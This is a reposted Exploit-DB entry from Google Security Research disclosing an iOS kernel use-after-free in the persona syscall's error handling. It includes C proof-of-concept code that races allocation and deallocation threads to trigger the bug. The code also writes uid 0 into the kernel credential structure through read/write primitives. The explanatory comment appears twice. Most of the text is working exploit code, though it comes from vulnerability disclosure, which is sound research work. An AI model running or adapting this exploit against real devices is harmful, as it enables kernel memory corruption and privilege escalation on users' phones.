Apple iOS Kernel – Use-After-Free due to bad Error Handling in Personas

  • 作者: Google Security Research
    日期: 2018-10-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45652/
  • /*
    There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:
    
     In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
     
    error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
    if (error)
    goto out_error;
    
    This jumps here:
    if (persona)
    persona_put(persona);
    
    At this point the persona is actually in the global list and the reference has been transfered there; this code
    is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.
    
    The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
    causing an extra call to persona_put.
    
    It's probably possible to make the failing copyout take a long time,
    allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
     
    This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
    is still there, but I cannot test it.
     
    It should be easy to fix up this PoC to run as root in your testing environment.
    */
    
    // @i41nbeer
    
    #include "test_next_exploit.h"
    #include <unistd.h>
    #include <pthread.h>
    #include <string.h>
    
    #include "kmem.h"
    
    
    /*
    iOS kernel UaF due to bad error handling in personas
     
    There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:
    
     In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
     
    error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
    if (error)
    goto out_error;
    
    This jumps here:
    if (persona)
    persona_put(persona);
    
    At this point the persona is actually in the global list and the reference has been transfered there; this code
    is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.
    
    The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
    causing an extra call to persona_put.
    
    It's probably possible to make the failing copyout take a long time,
    allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
     
    This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
    is still there, but I cannot test it.
     
    It should be easy to fix up this PoC to run as root in your testing environment.
    */
    
    
    
    #define NGROUPS 16
    #define MAXLOGNAME 255
    
    struct kpersona_info {
    uint32_t persona_info_version;
    
    uid_tpersona_id; /* overlaps with UID */
    intpersona_type;
    gid_tpersona_gid;
    uint32_t persona_ngroups;
    gid_tpersona_groups[NGROUPS];
    uid_tpersona_gmuid;
    char persona_name[MAXLOGNAME+1];
    
    /* TODO: MAC policies?! */
    };
    
    enum {
    PERSONA_INVALID = 0,
    PERSONA_GUEST = 1,
    PERSONA_MANAGED = 2,
    PERSONA_PRIV= 3,
    PERSONA_SYSTEM= 4,
    
    PERSONA_TYPE_MAX = PERSONA_SYSTEM,
    };
    
    #define PERSONA_OP_ALLOC1
    #define PERSONA_OP_DEALLOC2
    #define PERSONA_OP_GET3
    #define PERSONA_OP_INFO 4
    #define PERSONA_OP_PIDINFO5
    #define PERSONA_OP_FIND 6
    
    #define PERSONA_INFO_V1 1
    
    #define PERSONA_SYSCALL_NUMBER 494
    int sys_persona(uint32_t operation, uint32_t flags, struct kpersona_info *info, uid_t *id, size_t *idlen) {
    return syscall(PERSONA_SYSCALL_NUMBER, operation, flags, info, id, idlen);
    }
    
    void persona_dealloc() {
    uid_t uid = 235;
    size_t uid_size = sizeof(uid);
    int perr = sys_persona(PERSONA_OP_DEALLOC, 0, NULL, &uid, &uid_size);
    printf("dealloc perr: 0x%x\n", perr);
    }
    
    void* persona_bad_alloc() {
    // let's try to alloc a persona:
    struct kpersona_info info = {0};
    uid_t kpersona_uid = -123;
    size_t kpersona_uid_size = sizeof(kpersona_uid);
    
    info.persona_info_version = PERSONA_INFO_V1;
    strcpy(info.persona_name, "a_name2");
    
    info.persona_id = 235;
    info.persona_type = PERSONA_GUEST;
    
    int perr = sys_persona(PERSONA_OP_ALLOC, 0, &info, NULL/*&kpersona_uid*/, &kpersona_uid_size);
    printf("err: %x\n", perr);
    printf("kpersona_uid: %d\n", kpersona_uid);
    
    return NULL;
    }
    
    void* dealloc_thread_func(void* arg) {
    int uid = getuid();
    printf("dealloc thread uid: %d\n", uid);
    // got r00t?
    while(1) {
    persona_dealloc();
    }
    }
    
    void* alloc_thread_func(void* arg) {
    int uid = getuid();
    printf("alloc_thread uid: %d\n", uid);
    // got r00t?
    while(1) {
    persona_bad_alloc();
    }
    }
    
    void go(uint64_t thread_t) {
    uint64_t bsd_thread_info = rk64(thread_t + 0x388);
    uint64_t cred_t = rk64(bsd_thread_info + 0x160);
    
    // uid:=0
    wk32(cred_t+0x18, 0);
    wk32(cred_t+0x1c, 0);
    
    pthread_t dealloc_thread;
    pthread_create(&dealloc_thread, NULL, dealloc_thread_func, NULL);
    
    pthread_t alloc_thread;
    pthread_create(&alloc_thread, NULL, alloc_thread_func, NULL);
    
    pthread_join(dealloc_thread, NULL);
    }